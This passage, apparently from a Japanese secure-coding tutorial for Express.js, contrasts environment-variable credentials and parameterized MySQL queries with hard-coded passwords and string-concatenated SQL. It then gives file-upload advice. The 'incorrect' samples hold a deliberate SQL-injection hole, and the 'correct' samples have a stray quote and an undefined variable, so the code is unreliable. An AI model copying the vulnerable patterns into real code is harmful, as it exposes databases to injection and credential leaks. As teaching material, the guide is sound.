d0\u30fc\u3001OS\u3001\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3001\u304a\u3088\u3073\u30b7\u30b9\u30c6\u30e0\u306e\u3059\u3079\u3066\u306e\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u304c\u3001\u958b\u767a\u8005\u304b\u3089\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d1\u30c3\u30c1\u3092\u5e38\u306b\u66f4\u65b0\u3059\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n<p>\u4ee5\u4e0b\u306fExpress.js\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u4f7f\u7528\u3057\u305fNode.js\u306e\u30b3\u30fc\u30c9\u3067\u3059\u3002<\/p>\n<p><strong>\u6b63\u3057\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u69cb\u6210\u306b\u74b0\u5883\u5909\u6570\u3092\u8aad\u307f\u8fbc\u3080<\/span> \r\n<span class=\"hljs-keyword\">const<\/span> dbConfig = { \r\n<span class=\"hljs-attr\">  host<\/span>: process.<span class=\"hljs-property\">env<\/span>.<span class=\"hljs-property\">DB_HOST<\/span>, \r\n<span class=\"hljs-attr\">  username<\/span>: process.<span class=\"hljs-property\">env<\/span>.<span class=\"hljs-property\">DB_USERNAME<\/span>, \r\n<span class=\"hljs-attr\">  password<\/span>: process.<span class=\"hljs-property\">env<\/span>.<span class=\"hljs-property\">DB_PASSWORD<\/span>, \r\n<span class=\"hljs-attr\">  database<\/span>: process.<span class=\"hljs-property\">env<\/span>.<span class=\"hljs-property\">DB_DATABASE<\/span><span class=\"hljs-string\">'<\/span> \r\n}; \r\n \r\n<span class=\"hljs-comment\">\/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3078\u306e\u63a5\u7d9a\u3092\u5b9f\u884c\u3059\u308b<\/span>\r\n<span class=\"hljs-keyword\">function<\/span> <span class=\"hljs-title function_\">connectToDatabase<\/span>(<span class=\"hljs-params\">config<\/span>) { \r\n<span class=\"hljs-comment\">  \/\/ \u3053\u3061\u3089\u306b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u63a5\u7d9a\u3059\u308b\u30b3\u30fc\u30c9\u3092\u5b9f\u88c5\u3059\u308b<\/span>\r\n} \r\n \r\n<span class=\"hljs-title function_\">connectToDatabase<\/span>(dbConfig); \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>\u4e0a\u8a18\u306e\u4f8b\u3067\u306f\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u8a2d\u5b9a\u60c5\u5831\uff08DB_HOST\u3001DB_USERNAME\u3001DB_PASSWORD\u3001DB_DATABASE\u306a\u3069\uff09\u3092\u74b0\u5883\u5909\u6570\u306b\u4fdd\u5b58\u3057\u3066\u3044\u307e\u3059\u3002\u74b0\u5883\u5909\u6570\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u3001\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3092\u4fee\u6b63\u305b\u305a\u306b\u30b7\u30b9\u30c6\u30e0\u306e\u69cb\u6210\u3092\u7c21\u5358\u306b\u8abf\u6574\u3067\u304d\u3001\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u306b\u3042\u308b\u30d1\u30b9\u30ef\u30fc\u30c9\u306a\u3069\u306e\u91cd\u8981\u306a\u60c5\u5831\u304c\u6f0f\u308c\u308b\u30ea\u30b9\u30af\u3092\u8efd\u6e1b\u3057\u3066\u3001\u30b7\u30b9\u30c6\u30e0\u69cb\u6210\u3092\u7ba1\u7406\u3084\u3059\u304f\u3001\u5b89\u5168\u306a\u5c55\u958b\u304c\u5bb9\u6613\u306b\u3067\u304d\u307e\u3059\u3002<\/p>\n<p><strong>\u6b63\u3057\u304f\u306a\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n\r\n<span class=\"hljs-keyword\">const<\/span> dbConfig = { \r\n<span class=\"hljs-attr\"> host<\/span>: 'host', \r\n<span class=\"hljs-attr\"> username<\/span>: 'username', \r\n<span class=\"hljs-attr\"> password<\/span>: 'password', \r\n<span class=\"hljs-attr\"> database<\/span>: 'database<span class=\"hljs-string\">'<\/span> \r\n}; \r\n\r\n<span class=\"hljs-comment\">\/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3078\u306e\u63a5\u7d9a\u3092\u5b9f\u884c\u3059\u308b<\/span>\r\n<span class=\"hljs-keyword\">function<\/span> <span class=\"hljs-title function_\">connectToDatabase<\/span>(<span class=\"hljs-params\">config<\/span>) { \r\n<span class=\"hljs-comment\"> \/\/ \u3053\u3061\u3089\u306b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u63a5\u7d9a\u3059\u308b\u30b3\u30fc\u30c9\u3092\u5b9f\u88c5\u3059\u308b<\/span>\r\n} \r\n\r\n<span class=\"hljs-title function_\">connectToDatabase<\/span>(dbConfig); \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>\u4e0a\u8a18\u306e\u4f8b\u3067\u306f\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u8a2d\u5b9a\u60c5\u5831\u3092\u74b0\u5883\u5909\u6570\u3067\u306f\u306a\u304f\u30b3\u30fc\u30c9\u306b\u76f4\u63a5\u66f8\u304d\u8fbc\u3093\u3067\u3044\u307e\u3059\u3002\u3053\u306e\u65b9\u6cd5\u3067\u306f\u3001\u30b7\u30b9\u30c6\u30e0\u69cb\u6210\u3092\u8abf\u6574\u3059\u308b\u969b\u306b\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3092\u4fee\u6b63\u3059\u308b\u5fc5\u8981\u306b\u306a\u308a\u3001\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u306b\u3042\u308b\u30d1\u30b9\u30ef\u30fc\u30c9\u306a\u3069\u306e\u91cd\u8981\u306a\u60c5\u5831\u304c\u6f0f\u308c\u308b\u30ea\u30b9\u30af\u304c\u3042\u308a\u3001\u69cb\u6210\u306e\u7ba1\u7406\u3068\u5b89\u5168\u306a\u5c55\u958b\u304c\u56f0\u96e3\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<h3>\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3<\/h3>\n<p>\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u63a5\u7d9a\u3059\u308b\u5404\u30a2\u30ab\u30a6\u30f3\u30c8\u306b\u306f\u3001\u6a5f\u80fd\u3001\u4efb\u52d9\u3001\u304a\u3088\u3073\u6a29\u9650\u306b\u57fa\u3065\u3044\u3066\u660e\u78ba\u306b\u7570\u306a\u308b\u6a29\u9650\u3092\u4ed8\u4e0e\u3059\u308b\u5fc5\u8981\u3067\u3059\u3002<\/p>\n<p>\u30c7\u30d5\u30a9\u30eb\u30c8\u306e\u30a2\u30ab\u30a6\u30f3\u30c8\u3084\u30b7\u30b9\u30c6\u30e0\u306e\u8981\u4ef6\u306b\u4f7f\u7528\u3055\u308c\u3066\u3044\u306a\u3044\u30a2\u30ab\u30a6\u30f3\u30c8\u306f\u3001\u30b7\u30b9\u30c6\u30e0\u304b\u3089\u524a\u9664\u3059\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n<p>\u30a2\u30af\u30bb\u30b9\u3057\u3066\u3044\u306a\u3044\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3092\u30af\u30ed\u30fc\u30ba\u3057\u307e\u3059\u3002<\/p>\n<p>\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u6587\u5b57\u5217\u306f\u500b\u5225\u306e\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\u306b\u4fdd\u5b58\u3055\u308c\u3001\u5f37\u529b\u306a\u6697\u53f7\u5316\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3067\u5b89\u5168\u306b\u6697\u53f7\u5316\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30a2\u30af\u30bb\u30b9\u306e\u30a2\u30ab\u30a6\u30f3\u30c8\/\u30d1\u30b9\u30ef\u30fc\u30c9\u306f\u5f37\u56fa\u3067\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u306e\u60c5\u5831\u3084\u63a8\u6e2c\u3057\u3084\u3059\u3044\u3082\u306e\u3092\u4f7f\u7528\u3057\u306a\u3044\u307b\u3046\u304c\u826f\u3044\u3067\u3059\u3002<\/p>\n<p>\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306f\u6700\u4f4e\u6a29\u9650\u306e\u30e6\u30fc\u30b6\u30fc\u3067\u5b9f\u884c\u3055\u308c\u3001\u660e\u78ba\u306a\u6a29\u9650\u304c\u4e0e\u3048\u3089\u308c\u3001\u7279\u5b9a\u306e\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3078\u306e\u30a2\u30af\u30bb\u30b9\u306e\u307f\u3092\u8a31\u53ef\u3057\u3001\u4ed6\u306e\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u304b\u3089\u306e\u653b\u6483\u3084\u30c7\u30fc\u30bf\u306e\u60aa\u7528\u3092\u9632\u6b62\u3057\u307e\u3059\u3002<\/p>\n<p>\u30af\u30a8\u30ea\u306b\u6e21\u3059\u524d\u306b\u5165\u529b\u30c7\u30fc\u30bf\u3092\u691c\u8a3c\u3059\u308b\u3053\u3068\u3067\u3059\u3002<\/p>\n<p>SQL\u30af\u30a8\u30ea\u306b\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u6e21\u3059\u5f62\u3067\u3001\u30af\u30a8\u30ea\u3068\u30c7\u30fc\u30bf\u304c\u72ec\u7acb\u306b\u306a\u308a\u307e\u3059\u3002SQL\u30af\u30a8\u30ea\u3067\u6587\u5b57\u5217\u3092\u9023\u7d50\u3059\u308b\u4ee3\u308f\u308a\u306b\u3001\u30d1\u30e9\u30e1\u30fc\u30bf\u306f\u5909\u6570\u3092\u901a\u3058\u3066\u6e21\u3055\u308c\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u6709\u5bb3\u306a\u30c7\u30fc\u30bf\u304c\u6e21\u3055\u308c\u3066\u3082\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u653b\u6483\u306b\u306a\u308a\u307e\u305b\u3093\u3002<\/p>\n<p>\u4ee5\u4e0b\u306fExpress.js\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u4f7f\u7528\u3057\u305fNode.js\u30b3\u30fc\u30c9\u3067\u3059\u3002<\/p>\n<p><strong>\u6b63\u3057\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> mysql = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'mysql'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u63a5\u7d9a\u3059\u308b<\/span> \r\n<span class=\"hljs-keyword\">const<\/span> db = mysql.<span class=\"hljs-title function_\">createConnection<\/span>({ \r\n<span class=\"hljs-attr\">  host<\/span>: <span class=\"hljs-string\">'localhost'<\/span>, \r\n<span class=\"hljs-attr\">  user<\/span>: <span class=\"hljs-string\">'username'<\/span>, \r\n<span class=\"hljs-attr\">  password<\/span>: <span class=\"hljs-string\">'password'<\/span>, \r\n<span class=\"hljs-attr\">  database<\/span>: <span class=\"hljs-string\">'mydb'<\/span> \r\n}); \r\n \r\ndb.<span class=\"hljs-title function_\">connect<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">err<\/span> =&gt;<\/span> {\r\n<span class=\"hljs-keyword\">  if<\/span> (err) {\r\n    <span class=\"hljs-variable language_\">console<\/span>.<span class=\"hljs-title function_\">error<\/span>(<span class=\"hljs-string\">'\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u30a8\u30e9\u30fc\uff1a'<\/span>, err); <span class=\"hljs-keyword\">return<\/span>; \r\n  } \r\n<span class=\"hljs-variable language_\">  console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">'\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3078\u306e\u63a5\u7d9a\u304c\u3067\u304d\u307e\u3057\u305f\u3002'<\/span>); \r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\n \r\n<span class=\"hljs-comment\">\/\/ \u65b0\u3057\u3044\u672c\u3092\u4f5c\u6210\u3059\u308b<\/span> \r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/book'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">  const<\/span> { title, author } = req.<span class=\"hljs-property\">body<\/span>; \r\n<span class=\"hljs-keyword\">  const<\/span> query = <span class=\"hljs-string\">'INSERT INTO books (title, author) VALUES (?, ?)'<\/span>; \r\n  db.<span class=\"hljs-title function_\">query<\/span>(query, [title, author], <span class=\"hljs-function\">(<span class=\"hljs-params\">err, result<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">    if<\/span> (err) { \r\n<span class=\"hljs-keyword\">      return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u307e\u3057\u305f\u3002'<\/span> }); \r\n    } \r\n<span class=\"hljs-keyword\">    return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">201<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'\u4f5c\u6210\u304c\u3067\u304d\u307e\u3057\u305f\u3002'<\/span> }); \r\n  }); \r\n}); \r\n \r\n<span class=\"hljs-comment\">\/\/ \u672c\u4e00\u89a7\u3092\u53d6\u5f97\u3059\u308b<\/span>\r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/book'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">  const<\/span> query = <span class=\"hljs-string\">'SELECT * FROM books where title = ?'<\/span>; \r\n  db.<span class=\"hljs-title function_\">query<\/span>(query, [title],<span class=\"hljs-function\">(<span class=\"hljs-params\">err, result<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">    if<\/span> (err) { \r\n<span class=\"hljs-keyword\">      return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u307e\u3057\u305f\u3002'<\/span> }); \r\n    } \r\n<span class=\"hljs-keyword\">    return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>(result); \r\n  }); \r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>\u4e0a\u8a18\u306e\u4f8b\u3067\u306f\u3001MySQL\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u63a5\u7d9a\u3057\u3066\u64cd\u4f5c\u3059\u308b\u305f\u3081\u306b\u3001mysql\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u4f7f\u7528\u3057\u3066\u3044\u307e\u3059\u3002SQL\u30af\u30a8\u30ea\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u5b88\u308b\u305f\u3081\u306b\u3001\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u4f7f\u7528\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u6709\u5bb3\u306a\u30c7\u30fc\u30bf\u3092SQL\u30af\u30a8\u30ea\u306b\u6e21\u3059\u3053\u3068\u304c\u56de\u907f\u3067\u304d\u3066\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u653b\u6483\u304c\u9632\u6b62\u3067\u304d\u307e\u3059\u3002<\/p>\n<p><strong>\u6b63\u3057\u304f\u306a\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> mysql = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'mysql'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u63a5\u7d9a\u3059\u308b<\/span> \r\n<span class=\"hljs-keyword\">const<\/span> db = mysql.<span class=\"hljs-title function_\">createConnection<\/span>({ \r\n<span class=\"hljs-attr\"> host<\/span>: <span class=\"hljs-string\">'localhost'<\/span>, \r\n<span class=\"hljs-attr\"> user<\/span>: <span class=\"hljs-string\">'username'<\/span>, \r\n<span class=\"hljs-attr\"> password<\/span>: <span class=\"hljs-string\">'password'<\/span>, \r\n<span class=\"hljs-attr\"> database<\/span>: <span class=\"hljs-string\">'mydb'<\/span> \r\n}); \r\n \r\ndb.<span class=\"hljs-title function_\">connect<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">err<\/span> =&gt;<\/span> {\r\n<span class=\"hljs-keyword\"> if<\/span> (err) {\r\n<span class=\"hljs-variable language_\">   console<\/span>.<span class=\"hljs-title function_\">error<\/span>(<span class=\"hljs-string\">'\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u30a8\u30e9\u30fc\uff1a'<\/span>, err); <span class=\"hljs-keyword\">return<\/span>; \r\n } \r\n<span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">'\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3078\u306e\u63a5\u7d9a\u304c\u3067\u304d\u307e\u3057\u305f\u3002'<\/span>); \r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\n \r\n<span class=\"hljs-comment\">\/\/ \u65b0\u3057\u3044\u672c\u3092\u4f5c\u6210\u3059\u308b<\/span>\r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/book'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> { title, author } = req.<span class=\"hljs-property\">body<\/span>; \r\n<span class=\"hljs-keyword\"> const<\/span> query = <span class=\"hljs-string\">'INSERT INTO books (title, author) VALUES (title, author)'<\/span>; \r\n db.<span class=\"hljs-title function_\">query<\/span>(query, <span class=\"hljs-function\">(<span class=\"hljs-params\">err, result<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">   if<\/span> (err) { \r\n<span class=\"hljs-keyword\">     return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u307e\u3057\u305f\u3002'<\/span> }); \r\n   } \r\n<span class=\"hljs-keyword\">   return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">201<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'\u4f5c\u6210\u304c\u3067\u304d\u307e\u3057\u305f\u3002'<\/span> }); \r\n }); \r\n}); \r\n \r\n<span class=\"hljs-comment\">\/\/ \u672c\u4e00\u89a7\u3092\u53d6\u5f97\u3059\u308b<\/span>\r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/book'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> query = <span class=\"hljs-string\">'SELECT * FROM books where title =' + title<\/span>; \r\n db.<span class=\"hljs-title function_\">query<\/span>(query, <span class=\"hljs-function\">(<span class=\"hljs-params\">err, result<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">   if<\/span> (err) { \r\n<span class=\"hljs-keyword\">     return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u307e\u3057\u305f\u3002'<\/span> }); \r\n   } \r\n<span class=\"hljs-keyword\">   return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>(result); \r\n }); \r\n}); \r\n\r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>\u4e0a\u8a18\u306e\u4f8b\u3067\u306f\u3001SQL\u30af\u30a8\u30ea\u306b\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u6e21\u3059\u4ee3\u308f\u308a\u306b\u3001SQL\u30af\u30a8\u30ea\u5185\u3067\u6587\u5b57\u5217\u3092\u9023\u7d50\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3067\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u653b\u6483\u306e\u30ea\u30b9\u30af\u304c\u9ad8\u307e\u308a\u307e\u3059\u3002<\/p>\n<h3>\u30d5\u30a1\u30a4\u30eb\u7ba1\u7406<\/h3>\n<p>\u653b\u6483\u8005\u306b\u3088\u308b\u4e0d\u6b63\u306a\u5909\u66f4\u3092\u9632\u3050\u305f\u3081\u3001\u30d5\u30a9\u30eb\u30c0\u30fc\u3084\u30d5\u30a1\u30a4\u30eb\u306e\u6a29\u9650\u3092\u5236\u5fa1\u3059\u308b\u3088\u3046\u306b\u8a2d\u5b9a\u3057\u305f\u307b\u3046\u304c\u3088\u3044\u3067\u3059\u3002<\/p>\n<p>\u653b\u6483\u8005\u304c\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8\u306e\u7d76\u5bfe\u30d1\u30b9 (\/var\/www\/html\/uploads\/test.jpg\u306a\u3069) \u304b\u3089\u4ed6\u306e\u8106\u5f31\u6027\u3092\u653b\u6483\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u305f\u3081\u3001\u7d76\u5bfe\u30d1\u30b9\u3092\u8fd4\u3055\u306a\u3044\u3088\u3046\u306b\u3057\u307e\u3059\u3002\u30d5\u30a1\u30a4\u30eb\u540d\u307e\u305f\u306f\u30d5\u30a1\u30a4\u30eb\u3092\u542b\u3080\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306e\u30d1\u30b9 (\/uploads\/test.jpg\u306a\u3069) \u306e\u307f\u3092\u8fd4\u3059\u3088\u3046\u306b\u3057\u305f\u307b\u3046\u304c\u826f\u3044\u3067\u3059\u3002<\/p>\n<p>\u30a6\u30a7\u30d6\u30b5\u30fc\u30d3\u30b9\u3092\u5b9f\u884c\u3057\u3066\u3044\u308b\u30b5\u30fc\u30d0\u30fc\u3068\u540c\u3058\u30b5\u30fc\u30d0\u3067\u30d5\u30a1\u30a4\u30eb\u3092\u4fdd\u5b58\u3057\u306a\u3044\u3053\u3068\u3002\u30d5\u30a1\u30a4\u30eb\u3092\u5225\u306e\u30b5\u30fc\u30d0\u30fc\u306b\u4fdd\u5b58\u3059\u308b\u304b\u3001Amazon S3\u306a\u3069\u306e\u7b2c\u4e09\u8005\u306e\u30d5\u30a1\u30a4\u30eb\u30b9\u30c8\u30ec\u30fc\u30b8\u30b5\u30fc\u30d3\u30b9\u3092\u4f7f\u7528\u3059\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n<p>\u30b5\u30fc\u30d0\u30fc\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3092\u8a31\u53ef\u3059\u308b\u30d5\u30a1\u30a4\u30eb\uff08\u30d8\u30c3\u30c0\u30fc\u30d5\u30a1\u30a4\u30eb\uff09\u306e\u7a2e\u985e\u3059\u308b\u3053\u3068\u3002\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u6a5f\u80fd\u306b\u5bfe\u3057\u3066\u3001\u6a5f\u80fd\u8981\u4ef6\u306b\u9069\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u30d8\u30c3\u30c0\u30fc\u306e\u30db\u30ef\u30a4\u30c8\u30ea\u30b9\u30c8\u3092\u4f5c\u6210\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\uff08\u4f8b: \u30d7\u30ed\u30d5\u30a3\u30fc\u30eb\u5199\u771f\u306e\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u6a5f\u80fd\u306f\u3001Content-type\u304cimage\/jpeg\u3068image\/png\u306e\u307f\u3092\u8a31\u53ef\u3057\u307e\u3059\uff09\u3002<\/p>\n<p>\u30e6\u30fc\u30b6\u30fc\u304c\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3092\u5b9f\u884c\u3059\u308b\u524d\u306b\u8a8d\u8a3c\u3092\u6c42\u3081\u308b\u3053\u3068\u3002\u30e6\u30fc\u30b6\u30fc\u306e\u8a8d\u8a3c\u306f\u3001\u4e0d\u6b63\u306a\u6709\u5bb3\u30d5\u30a1\u30a4\u30eb\u306e\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3092\u5236\u9650\u3057\u3001\u653b\u6483\u304c\u767a\u751f\u3057\u305f\u969b\u306b\u30e6\u30fc\u30b6\u30fc\u306e\u30c8\u30ec\u30fc\u30b9\u306b\u5f79\u306b\u7acb\u3061\u307e\u3059\u3002<\/p>\n<p>\u30b5\u30fc\u30d0\u30fc\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3092\u8a31\u53ef\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u306e\u7a2e\u985e\uff08\u62e1\u5f35\u5b50\u30d5\u30a1\u30a4\u30eb\uff09\u3092\u5236\u9650\u3059\u308b\u3053\u3068\u3002\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u6a5f\u80fd\u306b\u5bfe\u3057\u3066\u3001\u6a5f\u80fd\u8981\u4ef6\u306b\u9069\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u306e\u30db\u30ef\u30a4\u30c8\u30ea\u30b9\u30c8\u3092\u4f5c\u6210\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\uff08\u4f8b: 